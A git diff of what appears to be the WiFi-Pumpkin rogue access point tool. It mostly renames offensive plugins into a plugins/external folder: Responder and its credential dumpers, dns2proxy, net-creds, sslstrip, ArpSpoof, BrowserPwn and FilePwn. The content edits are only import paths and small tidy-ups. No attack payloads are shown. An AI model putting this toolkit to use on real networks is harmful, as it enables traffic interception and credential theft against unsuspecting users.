b/plugins/external/Responder/tools/MultiRelay/creddump/framework/newobj.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/creddump/framework/newobj.py rename to plugins/external/Responder/tools/MultiRelay/creddump/framework/newobj.py diff --git a/plugins/Responder/tools/MultiRelay/creddump/framework/object.py b/plugins/external/Responder/tools/MultiRelay/creddump/framework/object.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/creddump/framework/object.py rename to plugins/external/Responder/tools/MultiRelay/creddump/framework/object.py diff --git a/plugins/Responder/tools/MultiRelay/creddump/framework/types.py b/plugins/external/Responder/tools/MultiRelay/creddump/framework/types.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/creddump/framework/types.py rename to plugins/external/Responder/tools/MultiRelay/creddump/framework/types.py diff --git a/plugins/external/Responder/tools/MultiRelay/creddump/framework/win32/__init__.py b/plugins/external/Responder/tools/MultiRelay/creddump/framework/win32/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/plugins/Responder/tools/MultiRelay/creddump/framework/win32/domcachedump.py b/plugins/external/Responder/tools/MultiRelay/creddump/framework/win32/domcachedump.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/creddump/framework/win32/domcachedump.py rename to plugins/external/Responder/tools/MultiRelay/creddump/framework/win32/domcachedump.py diff --git a/plugins/Responder/tools/MultiRelay/creddump/framework/win32/hashdump.py b/plugins/external/Responder/tools/MultiRelay/creddump/framework/win32/hashdump.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/creddump/framework/win32/hashdump.py rename to plugins/external/Responder/tools/MultiRelay/creddump/framework/win32/hashdump.py diff --git a/plugins/Responder/tools/MultiRelay/creddump/framework/win32/lsasecrets.py b/plugins/external/Responder/tools/MultiRelay/creddump/framework/win32/lsasecrets.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/creddump/framework/win32/lsasecrets.py rename to plugins/external/Responder/tools/MultiRelay/creddump/framework/win32/lsasecrets.py diff --git a/plugins/Responder/tools/MultiRelay/creddump/framework/win32/rawreg.py b/plugins/external/Responder/tools/MultiRelay/creddump/framework/win32/rawreg.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/creddump/framework/win32/rawreg.py rename to plugins/external/Responder/tools/MultiRelay/creddump/framework/win32/rawreg.py diff --git a/plugins/Responder/tools/MultiRelay/creddump/lsadump.py b/plugins/external/Responder/tools/MultiRelay/creddump/lsadump.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/creddump/lsadump.py rename to plugins/external/Responder/tools/MultiRelay/creddump/lsadump.py diff --git a/plugins/Responder/tools/MultiRelay/creddump/pwdump.py b/plugins/external/Responder/tools/MultiRelay/creddump/pwdump.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/creddump/pwdump.py rename to plugins/external/Responder/tools/MultiRelay/creddump/pwdump.py diff --git a/plugins/external/Responder/tools/MultiRelay/relay-dumps/.gitignore b/plugins/external/Responder/tools/MultiRelay/relay-dumps/.gitignore new file mode 100644 index 0000000..e69de29 diff --git a/plugins/Responder/tools/RunFinger.py b/plugins/external/Responder/tools/RunFinger.py similarity index 100% rename from plugins/Responder/tools/RunFinger.py rename to plugins/external/Responder/tools/RunFinger.py diff --git a/plugins/Responder/tools/SMBFinger/Finger.py b/plugins/external/Responder/tools/SMBFinger/Finger.py similarity index 100% rename from plugins/Responder/tools/SMBFinger/Finger.py rename to plugins/external/Responder/tools/SMBFinger/Finger.py diff --git a/plugins/external/Responder/tools/SMBFinger/__init__.py b/plugins/external/Responder/tools/SMBFinger/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/plugins/Responder/tools/SMBFinger/odict.py b/plugins/external/Responder/tools/SMBFinger/odict.py similarity index 100% rename from plugins/Responder/tools/SMBFinger/odict.py rename to plugins/external/Responder/tools/SMBFinger/odict.py diff --git a/plugins/external/Responder/tools/__init__.py b/plugins/external/Responder/tools/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/plugins/Responder/tools/odict.py b/plugins/external/Responder/tools/odict.py similarity index 100% rename from plugins/Responder/tools/odict.py rename to plugins/external/Responder/tools/odict.py diff --git a/plugins/Responder/utils.py b/plugins/external/Responder/utils.py similarity index 99% rename from plugins/Responder/utils.py rename to plugins/external/Responder/utils.py index 3e5a287..88528b9 100644 --- a/plugins/Responder/utils.py +++ b/plugins/external/Responder/utils.py @@ -14,14 +14,15 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . +import datetime +import logging import os -import sys import re -import logging import socket -import time +import sys + import settings -import datetime + def HTTPCurrentDate(): Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') @@ -259,7 +260,7 @@ def banner(): ]) print banner - print "\n NBT-NS, LLMNR & MDNS %s "%settings.__version__ + print "\n NBT-NS, LLMNR & MDNS %s " % settings.__version__ print "" print " Author: Laurent Gaffie (laurent.gaffie@gmail.com)" print " To kill this script hit CRTL-C" diff --git a/plugins/external/__init__.py b/plugins/external/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/plugins/dns2proxy/IPBouncer.sh b/plugins/external/dns2proxy/IPBouncer.sh similarity index 100% rename from plugins/dns2proxy/IPBouncer.sh rename to plugins/external/dns2proxy/IPBouncer.sh diff --git a/plugins/dns2proxy/README.md b/plugins/external/dns2proxy/README.md similarity index 100% rename from plugins/dns2proxy/README.md rename to plugins/external/dns2proxy/README.md diff --git a/plugins/external/dns2proxy/__init__.py b/plugins/external/dns2proxy/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/plugins/dns2proxy/dns2proxy.py b/plugins/external/dns2proxy/dns2proxy.py similarity index 98% rename from plugins/dns2proxy/dns2proxy.py rename to plugins/external/dns2proxy/dns2proxy.py index 1961fbc..a1051b9 100755 --- a/plugins/dns2proxy/dns2proxy.py +++ b/plugins/external/dns2proxy/dns2proxy.py @@ -44,15 +44,15 @@ victims = [] LOGREQFILE = "./logs/AccessPoint/dns2proxy.log" -LOGSNIFFFILE = "plugins/dns2proxy/snifflog.txt" -LOGALERTFILE = "plugins/dns2proxy/dnsalert.txt" -RESOLVCONF = "plugins/dns2proxy/resolv.conf" -victim_file = "plugins/dns2proxy/victims.cfg" -nospoof_file = "plugins/dns2proxy/nospoof.cfg" -nospoofto_file = "plugins/dns2proxy/nospoofto.cfg" -specific_file = "plugins/dns2proxy/spoof.cfg" -dominios_file = "plugins/dns2proxy/domains.cfg" -transform_file = "plugins/dns2proxy/transform.cfg" +LOGSNIFFFILE = "plugins/external/dns2proxy/snifflog.txt" +LOGALERTFILE = "plugins/external/dns2proxy/dnsalert.txt" +RESOLVCONF = "plugins/external/dns2proxy/resolv.conf" +victim_file = "plugins/external/dns2proxy/victims.cfg" +nospoof_file = "plugins/external/dns2proxy/nospoof.cfg" +nospoofto_file = "plugins/external/dns2proxy/nospoofto.cfg" +specific_file = "plugins/external/dns2proxy/spoof.cfg" +dominios_file = "plugins/external/dns2proxy/domains.cfg" +transform_file = "plugins/external/dns2proxy/transform.cfg" parser = argparse.ArgumentParser() parser.add_argument("-N", "--noforward", help="DNS Fowarding OFF (default ON)", action="store_true") diff --git a/plugins/dns2proxy/dnsalert.txt b/plugins/external/dns2proxy/dnsalert.txt similarity index 100% rename from plugins/dns2proxy/dnsalert.txt rename to plugins/external/dns2proxy/dnsalert.txt diff --git a/plugins/dns2proxy/dnslog.txt b/plugins/external/dns2proxy/dnslog.txt similarity index 100% rename from plugins/dns2proxy/dnslog.txt rename to plugins/external/dns2proxy/dnslog.txt diff --git a/plugins/dns2proxy/domains.cfg b/plugins/external/dns2proxy/domains.cfg similarity index 100% rename from plugins/dns2proxy/domains.cfg rename to plugins/external/dns2proxy/domains.cfg diff --git a/plugins/dns2proxy/fhtagn.sh b/plugins/external/dns2proxy/fhtagn.sh similarity index 100% rename from plugins/dns2proxy/fhtagn.sh rename to plugins/external/dns2proxy/fhtagn.sh diff --git a/plugins/dns2proxy/ia.sh b/plugins/external/dns2proxy/ia.sh similarity index 100% rename from plugins/dns2proxy/ia.sh rename to plugins/external/dns2proxy/ia.sh diff --git a/plugins/dns2proxy/nospoof.cfg b/plugins/external/dns2proxy/nospoof.cfg similarity index 100% rename from plugins/dns2proxy/nospoof.cfg rename to plugins/external/dns2proxy/nospoof.cfg diff --git a/plugins/dns2proxy/nospoofto.cfg b/plugins/external/dns2proxy/nospoofto.cfg similarity index 100% rename from plugins/dns2proxy/nospoofto.cfg rename to plugins/external/dns2proxy/nospoofto.cfg diff --git a/plugins/dns2proxy/resolv.conf b/plugins/external/dns2proxy/resolv.conf similarity index 100% rename from plugins/dns2proxy/resolv.conf rename to plugins/external/dns2proxy/resolv.conf diff --git a/plugins/dns2proxy/spoof.cfg b/plugins/external/dns2proxy/spoof.cfg similarity index 100% rename from plugins/dns2proxy/spoof.cfg rename to plugins/external/dns2proxy/spoof.cfg diff --git a/plugins/dns2proxy/transform.cfg b/plugins/external/dns2proxy/transform.cfg similarity index 100% rename from plugins/dns2proxy/transform.cfg rename to plugins/external/dns2proxy/transform.cfg diff --git a/plugins/external/dns2proxy/victims.cfg b/plugins/external/dns2proxy/victims.cfg new file mode 100644 index 0000000..e69de29 diff --git a/plugins/net-creds/LICENSE b/plugins/external/net-creds/LICENSE similarity index 100% rename from plugins/net-creds/LICENSE rename to plugins/external/net-creds/LICENSE diff --git a/plugins/net-creds/README.md b/plugins/external/net-creds/README.md similarity index 100% rename from plugins/net-creds/README.md rename to plugins/external/net-creds/README.md diff --git a/plugins/net-creds/__init__.py b/plugins/external/net-creds/__init__.py similarity index 100% rename from plugins/net-creds/__init__.py rename to plugins/external/net-creds/__init__.py diff --git a/plugins/net-creds/net-creds.py b/plugins/external/net-creds/net-creds.py similarity index 100% rename from plugins/net-creds/net-creds.py rename to plugins/external/net-creds/net-creds.py diff --git a/plugins/net-creds/requirements.txt b/plugins/external/net-creds/requirements.txt similarity index 100% rename from plugins/net-creds/requirements.txt rename to plugins/external/net-creds/requirements.txt diff --git a/proxy/Plugin.py b/plugins/external/scripts/Plugin.py similarity index 100% rename from proxy/Plugin.py rename to plugins/external/scripts/Plugin.py diff --git a/proxy/__init__.py b/plugins/external/scripts/__init__.py similarity index 100% rename from proxy/__init__.py rename to plugins/external/scripts/__init__.py diff --git a/proxy/background.py b/plugins/external/scripts/background.py similarity index 100% rename from proxy/background.py rename to plugins/external/scripts/background.py diff --git a/proxy/beef.py b/plugins/external/scripts/beef.py similarity index 100% rename from proxy/beef.py rename to plugins/external/scripts/beef.py diff --git a/proxy/blurpage.py b/plugins/external/scripts/blurpage.py similarity index 100% rename from proxy/blurpage.py rename to plugins/external/scripts/blurpage.py diff --git a/proxy/css/flipimages.css b/plugins/external/scripts/css/flipimages.css similarity index 100% rename from proxy/css/flipimages.css rename to plugins/external/scripts/css/flipimages.css diff --git a/proxy/css_injection.py b/plugins/external/scripts/css_injection.py similarity index 100% rename from proxy/css_injection.py rename to plugins/external/scripts/css_injection.py diff --git a/proxy/htmlinjector.py b/plugins/external/scripts/htmlinjector.py similarity index 100% rename from proxy/htmlinjector.py rename to plugins/external/scripts/htmlinjector.py diff --git a/proxy/js/shake.js b/plugins/external/scripts/js/shake.js similarity index 100% rename from proxy/js/shake.js rename to plugins/external/scripts/js/shake.js diff --git a/proxy/js_injection.py b/plugins/external/scripts/js_injection.py similarity index 100% rename from proxy/js_injection.py rename to plugins/external/scripts/js_injection.py diff --git a/proxy/noscroll.py b/plugins/external/scripts/noscroll.py similarity index 100% rename from proxy/noscroll.py rename to plugins/external/scripts/noscroll.py diff --git a/proxy/shakepage.py b/plugins/external/scripts/shakepage.py similarity index 100% rename from proxy/shakepage.py rename to plugins/external/scripts/shakepage.py diff --git a/proxy/title.py b/plugins/external/scripts/title.py similarity index 100% rename from proxy/title.py rename to plugins/external/scripts/title.py diff --git a/plugins/sergio_proxy/README.txt b/plugins/external/sergio_proxy/README.txt similarity index 100% rename from plugins/sergio_proxy/README.txt rename to plugins/external/sergio_proxy/README.txt diff --git a/plugins/external/sergio_proxy/__init__.py b/plugins/external/sergio_proxy/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/plugins/sergio_proxy/argparse.py b/plugins/external/sergio_proxy/argparse.py similarity index 100% rename from plugins/sergio_proxy/argparse.py rename to plugins/external/sergio_proxy/argparse.py diff --git a/plugins/sergio_proxy/data/blank.pdf b/plugins/external/sergio_proxy/data/blank.pdf similarity index 100% rename from plugins/sergio_proxy/data/blank.pdf rename to plugins/external/sergio_proxy/data/blank.pdf diff --git a/plugins/sergio_proxy/examples/base-example.args b/plugins/external/sergio_proxy/examples/base-example.args similarity index 100% rename from plugins/sergio_proxy/examples/base-example.args rename to plugins/external/sergio_proxy/examples/base-example.args diff --git a/plugins/sergio_proxy/examples/browserpwn-example.args b/plugins/external/sergio_proxy/examples/browserpwn-example.args similarity index 100% rename from plugins/sergio_proxy/examples/browserpwn-example.args rename to plugins/external/sergio_proxy/examples/browserpwn-example.args diff --git a/plugins/sergio_proxy/examples/filepwn-example.args b/plugins/external/sergio_proxy/examples/filepwn-example.args similarity index 100% rename from plugins/sergio_proxy/examples/filepwn-example.args rename to plugins/external/sergio_proxy/examples/filepwn-example.args diff --git a/plugins/sergio_proxy/examples/smbauth-example.args b/plugins/external/sergio_proxy/examples/smbauth-example.args similarity index 100% rename from plugins/sergio_proxy/examples/smbauth-example.args rename to plugins/external/sergio_proxy/examples/smbauth-example.args diff --git a/plugins/sergio_proxy/lock.ico b/plugins/external/sergio_proxy/lock.ico similarity index 100% rename from plugins/sergio_proxy/lock.ico rename to plugins/external/sergio_proxy/lock.ico diff --git a/plugins/sergio_proxy/plugins/ArpSpoof.py b/plugins/external/sergio_proxy/plugins/ArpSpoof.py similarity index 97% rename from plugins/sergio_proxy/plugins/ArpSpoof.py rename to plugins/external/sergio_proxy/plugins/ArpSpoof.py index e0f100e..6a8af62 100644 --- a/plugins/sergio_proxy/plugins/ArpSpoof.py +++ b/plugins/external/sergio_proxy/plugins/ArpSpoof.py @@ -1,5 +1,5 @@ import os,subprocess,logging -from plugins.sergio_proxy.plugins.plugin import Plugin +from plugins.external.sergio_proxy.plugins.plugin import Plugin fnull = open(os.devnull, 'w') diff --git a/plugins/sergio_proxy/plugins/BrowserPwn.py b/plugins/external/sergio_proxy/plugins/BrowserPwn.py similarity index 92% rename from plugins/sergio_proxy/plugins/BrowserPwn.py rename to plugins/external/sergio_proxy/plugins/BrowserPwn.py index ce63867..188ebde 100644 --- a/plugins/sergio_proxy/plugins/BrowserPwn.py +++ b/plugins/external/sergio_proxy/plugins/BrowserPwn.py @@ -1,6 +1,6 @@ import os,subprocess,logging,time -from plugins.sergio_proxy.plugins.Inject import Inject -from plugins.sergio_proxy.plugins.plugin import Plugin +from plugins.external.sergio_proxy.plugins.Inject import Inject +from plugins.external.sergio_proxy.plugins.plugin import Plugin class BrowserPwn(Inject,Plugin): name = "BrowserPwn" diff --git a/plugins/sergio_proxy/plugins/CacheKill.py b/plugins/external/sergio_proxy/plugins/CacheKill.py similarity index 93% rename from plugins/sergio_proxy/plugins/CacheKill.py rename to plugins/external/sergio_proxy/plugins/CacheKill.py index e4d338e..8782548 100644 --- a/plugins/sergio_proxy/plugins/CacheKill.py +++ b/plugins/external/sergio_proxy/plugins/CacheKill.py @@ -1,4 +1,4 @@ -from plugins.sergio_proxy.plugins.plugin import Plugin +from plugins.external.sergio_proxy.plugins.plugin import Plugin class CacheKill(Plugin): name = "CacheKill Plugin" diff --git a/plugins/sergio_proxy/plugins/FilePwn.py b/plugins/external/sergio_proxy/plugins/FilePwn.py similarity index 98% rename from plugins/sergio_proxy/plugins/FilePwn.py rename to plugins/external/sergio_proxy/plugins/FilePwn.py index 76afd33..1305994 100644 --- a/plugins/sergio_proxy/plugins/FilePwn.py +++ b/plugins/external/sergio_proxy/plugins/FilePwn.py @@ -1,5 +1,5 @@ import os,subprocess,logging,time -from plugins.sergio_proxy.plugins.plugin import Plugin +from plugins.external.sergio_proxy.plugins.plugin import Plugin exe_mimetypes = ['application/octet-stream', 'application/x-msdownload', 'application/exe', 'application/x-exe', 'application/dos-exe', 'vms/exe', 'application/x-winexe', 'application/msdos-windows', 'application/x-msdos-program'] class FilePwn(Plugin): diff --git a/plugins/sergio_proxy/plugins/Inject.py b/plugins/external/sergio_proxy/plugins/Inject.py similarity index 97% rename from plugins/sergio_proxy/plugins/Inject.py rename to plugins/external/sergio_proxy/plugins/Inject.py index d76fa9e..948a305 100644 --- a/plugins/sergio_proxy/plugins/Inject.py +++ b/plugins/external/sergio_proxy/plugins/Inject.py @@ -1,7 +1,8 @@ import os,subprocess,logging,time,re import argparse -from plugins.sergio_proxy.plugins.plugin import Plugin -from plugins.sergio_proxy.plugins.CacheKill import CacheKill +from plugins.external.sergio_proxy.plugins.CacheKill import CacheKill +from plugins.external.sergio_proxy.plugins.plugin import Plugin + class Inject(CacheKill,Plugin): name = "Inject" diff --git a/plugins/sergio_proxy/plugins/SMBAuth.py b/plugins/external/sergio_proxy/plugins/SMBAuth.py similarity index 88% rename from plugins/sergio_proxy/plugins/SMBAuth.py rename to plugins/external/sergio_proxy/plugins/SMBAuth.py index 2928bea..a84349e 100644 --- a/plugins/sergio_proxy/plugins/SMBAuth.py +++ b/plugins/external/sergio_proxy/plugins/SMBAuth.py @@ -1,5 +1,6 @@ -from plugins.sergio_proxy.plugins.plugin import Plugin -from plugins.sergio_proxy.plugins.Inject import Inject +from plugins.external.sergio_proxy.plugins.plugin import Plugin +from plugins.external.sergio_proxy.plugins.Inject import Inject + class SMBAuth(Inject,Plugin): name = "SMBAuth" diff --git a/plugins/sergio_proxy/plugins/StartMSF.py b/plugins/external/sergio_proxy/plugins/StartMSF.py similarity index 97% rename from plugins/sergio_proxy/plugins/StartMSF.py rename to plugins/external/sergio_proxy/plugins/StartMSF.py index 9e19fbd..a04698c 100644 --- a/plugins/sergio_proxy/plugins/StartMSF.py +++ b/plugins/external/sergio_proxy/plugins/StartMSF.py @@ -1,4 +1,4 @@ -from plugins.sergio_proxy.plugins.plugin import Plugin +from plugins.external.sergio_proxy.plugins.plugin import Plugin from subprocess import Popen from tempfile import NamedTemporaryFile import os diff --git a/plugins/sergio_proxy/plugins/Upsidedownternet.py b/plugins/external/sergio_proxy/plugins/Upsidedownternet.py similarity index 96% rename from plugins/sergio_proxy/plugins/Upsidedownternet.py rename to plugins/external/sergio_proxy/plugins/Upsidedownternet.py index 86d8f5e..a115df7 100644 --- a/plugins/sergio_proxy/plugins/Upsidedownternet.py +++ b/plugins/external/sergio_proxy/plugins/Upsidedownternet.py @@ -1,7 +1,7 @@ import logging from cStringIO import StringIO -from plugins.sergio_proxy.plugins.plugin import Plugin +from plugins.external.sergio_proxy.plugins.plugin import Plugin class Upsidedownternet(Plugin): name = "Upsidedownternet" diff --git a/plugins/sergio_proxy/plugins/__init__.py b/plugins/external/sergio_proxy/plugins/__init__.py similarity index 100% rename from plugins/sergio_proxy/plugins/__init__.py rename to plugins/external/sergio_proxy/plugins/__init__.py diff --git a/plugins/sergio_proxy/plugins/plugin.py b/plugins/external/sergio_proxy/plugins/plugin.py similarity index 100% rename from plugins/sergio_proxy/plugins/plugin.py rename to plugins/external/sergio_proxy/plugins/plugin.py diff --git a/plugins/sergio_proxy/plugins/test.py b/plugins/external/sergio_proxy/plugins/test.py similarity index 89% rename from plugins/sergio_proxy/plugins/test.py rename to plugins/external/sergio_proxy/plugins/test.py index d651150..3690577 100644 --- a/plugins/sergio_proxy/plugins/test.py +++ b/plugins/external/sergio_proxy/plugins/test.py @@ -1,4 +1,3 @@ -from plugins.sergio_proxy.plugins.plugin import Plugin #Uncomment to use ''' class Test(Plugin): diff --git a/plugins/sergio_proxy/sergio-proxy.py b/plugins/external/sergio_proxy/sergio-proxy.py similarity index 96% rename from plugins/sergio_proxy/sergio-proxy.py rename to plugins/external/sergio_proxy/sergio-proxy.py index ad81e79..492ef40 100644 --- a/plugins/sergio_proxy/sergio-proxy.py +++ b/plugins/external/sergio_proxy/sergio-proxy.py @@ -22,18 +22,19 @@ USA """ -from twisted.web import http +import logging +import sys + from twisted.internet import reactor +from twisted.web import http -from sslstrip.StrippingProxy import StrippingProxy -from sslstrip.URLMonitor import URLMonitor +import argparse +from plugins import * from sslstrip.CookieCleaner import CookieCleaner from sslstrip.ProxyPlugins import ProxyPlugins -import sys, logging, traceback, string, os -import argparse - +from sslstrip.StrippingProxy import StrippingProxy +from sslstrip.URLMonitor import URLMonitor -from plugins import * plugin_classes = plugin.Plugin.__subclasses__() sslstrip_version = "0.9" @@ -48,9 +49,9 @@ sgroup = parser.add_argument_group("sslstrip", "Options for sslstrip library") - sgroup.add_argument("-w","--write",type=argparse.FileType('w'), - metavar="filename", default=sys.stdout, - help="Specify file to log to (stdout by default).") + sgroup.add_argument("-w","--write", type=argparse.FileType('w'), + metavar="filename", default=sys.stdout, + help="Specify file to log to (stdout by default).") sgroup.add_argument("--log-level",type=str, choices=['debug','info','warning','error'],default="info", help="Specify file to log to (stdout by default).") diff --git a/plugins/sergio_proxy/sslstrip/COPYING.sslstrip b/plugins/external/sergio_proxy/sslstrip/COPYING.sslstrip similarity index 100% rename from plugins/sergio_proxy/sslstrip/COPYING.sslstrip rename to plugins/external/sergio_proxy/sslstrip/COPYING.sslstrip diff --git a/plugins/sergio_proxy/sslstrip/ClientRequest.py b/plugins/external/sergio_proxy/sslstrip/ClientRequest.py similarity index 100% rename from plugins/sergio_proxy/sslstrip/ClientRequest.py rename to plugins/external/sergio_proxy/sslstrip/ClientRequest.py diff --git a/plugins/sergio_proxy/sslstrip/CookieCleaner.py b/plugins/external/sergio_proxy/sslstrip/CookieCleaner.py similarity index 100% rename from plugins/sergio_proxy/sslstrip/CookieCleaner.py rename to plugins/external/sergio_proxy/sslstrip/CookieCleaner.py diff --git a/plugins/sergio_proxy/sslstrip/DnsCache.py b/plugins/external/sergio_proxy/sslstrip/DnsCache.py similarity index 100% rename from plugins/sergio_proxy/sslstrip/DnsCache.py rename to plugins/external/sergio_proxy/sslstrip/DnsCache.py diff --git a/plugins/sergio_proxy/sslstrip/DummyResponseTamperer.py b/plugins/external/sergio_proxy/sslstrip/DummyResponseTamperer.py similarity index 100% rename from plugins/sergio_proxy/sslstrip/DummyResponseTamperer.py rename to plugins/external/sergio_proxy/sslstrip/DummyResponseTamperer.py diff --git a/plugins/sergio_proxy/sslstrip/ProxyPlugins.py b/plugins/external/sergio_proxy/sslstrip/ProxyPlugins.py similarity index 100% rename from plugins/sergio_proxy/sslstrip/ProxyPlugins.py rename to plugins/external/sergio_proxy/sslstrip/ProxyPlugins.py diff --git a/plugins/sergio_proxy/sslstrip/README.sergio-proxy b/plugins/external/sergio_proxy/sslstrip/README.sergio-proxy similarity index 100% rename from plugins/sergio_proxy/sslstrip/README.sergio-proxy rename to plugins/external/sergio_proxy/sslstrip/README.sergio-proxy diff --git a/plugins/sergio_proxy/sslstrip/README.sslstrip b/plugins/external/sergio_proxy/sslstrip/README.sslstrip similarity index 100% rename from plugins/sergio_proxy/sslstrip/README.sslstrip rename to plugins/external/sergio_proxy/sslstrip/README.sslstrip diff --git a/plugins/sergio_proxy/sslstrip/ResponseTampererFactory.py b/plugins/external/sergio_proxy/sslstrip/ResponseTampererFactory.py similarity index 100% rename from plugins/sergio_proxy/sslstrip/ResponseTampererFactory.py rename to plugins/external/sergio_proxy/sslstrip/ResponseTampererFactory.py diff --git a/plugins/sergio_proxy/sslstrip/SSLServerConnection.py b/plugins/external/sergio_proxy/sslstrip/SSLServerConnection.py similarity index 100% rename from plugins/sergio_proxy/sslstrip/SSLServerConnection.py rename to plugins/external/sergio_proxy/sslstrip/SSLServerConnection.py diff --git a/plugins/sergio_proxy/sslstrip/ServerConnection.py b/plugins/external/sergio_proxy/sslstrip/ServerConnection.py similarity index 98% rename from plugins/sergio_proxy/sslstrip/ServerConnection.py rename to plugins/external/sergio_proxy/sslstrip/ServerConnection.py index b273ec2..a3da2b2 100644 --- a/plugins/sergio_proxy/sslstrip/ServerConnection.py +++ b/plugins/external/sergio_proxy/sslstrip/ServerConnection.py @@ -17,12 +17,12 @@ # import logging, re, string, random, zlib, gzip, StringIO -import plugins.sergio_proxy.plugins +import plugins.external.sergio_proxy.plugins from ResponseTampererFactory import ResponseTampererFactory from twisted.web.http import HTTPClient from URLMonitor import URLMonitor from ProxyPlugins import ProxyPlugins -from proxy import * +from plugins.external.scripts import * class ServerConnection(HTTPClient): ''' The server connection is where we do the bulk of the stripping. Everything that diff --git a/plugins/sergio_proxy/sslstrip/ServerConnectionFactory.py b/plugins/external/sergio_proxy/sslstrip/ServerConnectionFactory.py similarity index 100% rename from plugins/sergio_proxy/sslstrip/ServerConnectionFactory.py rename to plugins/external/sergio_proxy/sslstrip/ServerConnectionFactory.py diff --git a/plugins/sergio_proxy/sslstrip/StrippingProxy.py b/plugins/external/sergio_proxy/sslstrip/StrippingProxy.py similarity index 100% rename from plugins/sergio_proxy/sslstrip/StrippingProxy.py rename to plugins/external/sergio_proxy/sslstrip/StrippingProxy.py diff --git a/plugins/sergio_proxy/sslstrip/URLMonitor.py b/plugins/external/sergio_proxy/sslstrip/URLMonitor.py similarity index 100% rename from plugins/sergio_proxy/sslstrip/URLMonitor.py rename to plugins/external/sergio_proxy/sslstrip/URLMonitor.py diff --git a/plugins/external/sergio_proxy/sslstrip/__init__.py b/plugins/external/sergio_proxy/sslstrip/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/plugins/sslstrip/COPYING b/plugins/external/sslstrip/COPYING similarity index 100% rename from plugins/sslstrip/COPYING rename to plugins/external/sslstrip/COPYING diff --git a/plugins/sslstrip/COPYING.sslstrip b/plugins/external/sslstrip/COPYING.sslstrip similarity index 100% rename from plugins/sslstrip/COPYING.sslstrip rename to plugins/external/sslstrip/COPYING.sslstrip diff --git a/plugins/sslstrip/ClientRequest.py b/plugins/external/sslstrip/ClientRequest.py similarity index 100% rename from plugins/sslstrip/ClientRequest.py rename to plugins/external/sslstrip/ClientRequest.py diff --git a/plugins/sslstrip/CookieCleaner.py b/plugins/external/sslstrip/CookieCleaner.py similarity index 100% rename from plugins/sslstrip/CookieCleaner.py rename to plugins/external/sslstrip/CookieCleaner.py diff --git a/plugins/sslstrip/DnsCache.py b/plugins/external/sslstrip/DnsCache.py similarity index 100% rename from plugins/sslstrip/DnsCache.py rename to plugins/external/sslstrip/DnsCache.py diff --git a/plugins/sslstrip/DummyResponseTamperer.py b/plugins/external/sslstrip/DummyResponseTamperer.py similarity index 100% rename from plugins/sslstrip/DummyResponseTamperer.py rename to plugins/external/sslstrip/DummyResponseTamperer.py diff --git a/plugins/sslstrip/README.md b/plugins/external/sslstrip/README.md similarity index 100% rename from plugins/sslstrip/README.md rename to plugins/external/sslstrip/README.md diff --git a/plugins/sslstrip/ResponseTampererFactory.py b/plugins/external/sslstrip/ResponseTampererFactory.py similarity index 100% rename from plugins/sslstrip/ResponseTampererFactory.py rename to plugins/external/sslstrip/ResponseTampererFactory.py diff --git a/plugins/sslstrip/SSLServerConnection.py b/plugins/external/sslstrip/SSLServerConnection.py similarity index 100% rename from plugins/sslstrip/SSLServerConnection.py rename to plugins/external/sslstrip/SSLServerConnection.py diff --git a/plugins/sslstrip/ServerConnection.py b/plugins/external/sslstrip/ServerConnection.py similarity index 99% rename from plugins/sslstrip/ServerConnection.py rename to plugins/external/sslstrip/ServerConnection.py index 71e51cb..40e3051 100644 --- a/plugins/sslstrip/ServerConnection.py +++ b/plugins/external/sslstrip/ServerConnection.py @@ -20,7 +20,7 @@ from ResponseTampererFactory import ResponseTampererFactory from twisted.web.http import HTTPClient from URLMonitor import URLMonitor -from proxy import * +from plugins.external.scripts import * class ServerConnection(HTTPClient): ''' The server connection is where we do the bulk of the stripping. Everything that diff --git a/plugins/sslstrip/ServerConnectionFactory.py b/plugins/external/sslstrip/ServerConnectionFactory.py similarity index 100% rename from plugins/sslstrip/ServerConnectionFactory.py rename to plugins/external/sslstrip/ServerConnectionFactory.py diff --git a/plugins/sslstrip/StrippingProxy.py b/plugins/external/sslstrip/StrippingProxy.py similarity index 100% rename from plugins/sslstrip/StrippingProxy.py rename to plugins/external/sslstrip/StrippingProxy.py diff --git a/plugins/sslstrip/URLMonitor.py b/plugins/external/sslstrip/URLMonitor.py similarity index 100% rename from plugins/sslstrip/URLMonitor.py rename to plugins/external/sslstrip/URLMonitor.py diff --git a/plugins/external/sslstrip/__init__.py b/plugins/external/sslstrip/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/requirements.txt b/requirements.txt index 5ccc9fa..752d9dc 100644 --- a/requirements.txt +++ b/requirements.txt @@ -15,4 +15,5 @@ python-magic==0.4.6 pefile capstone hyperframe -h2 \ No newline at end of file +h2 +mitmproxy==0.17 \ No newline at end of file diff --git a/wifi-pumpkin.py b/wifi-pumpkin.py index a105bc7..40bc8ee 100755 --- a/wifi-pumpkin.py +++ b/wifi-pumpkin.py @@ -30,7 +30,7 @@ def checkAppQTDesigner(style): from PyQt4.QtGui import QMessageBox if 'gtk+' in str(style).lower(): QMessageBox.warning(None,'warning: bug GUI Qt::style ', - "\nPyQt4 app looks different when running with root, because of that the GUI not work 100%," + "\nPyQt4 app looks different when running with root, because of that the GUI does not work 100%," " some features not work. I don't find anything code or settings for fix this bug " "(if you have any solution for this send me feedback :D).\n\n" 'if you want keep the normal user style, run app with "sudo".')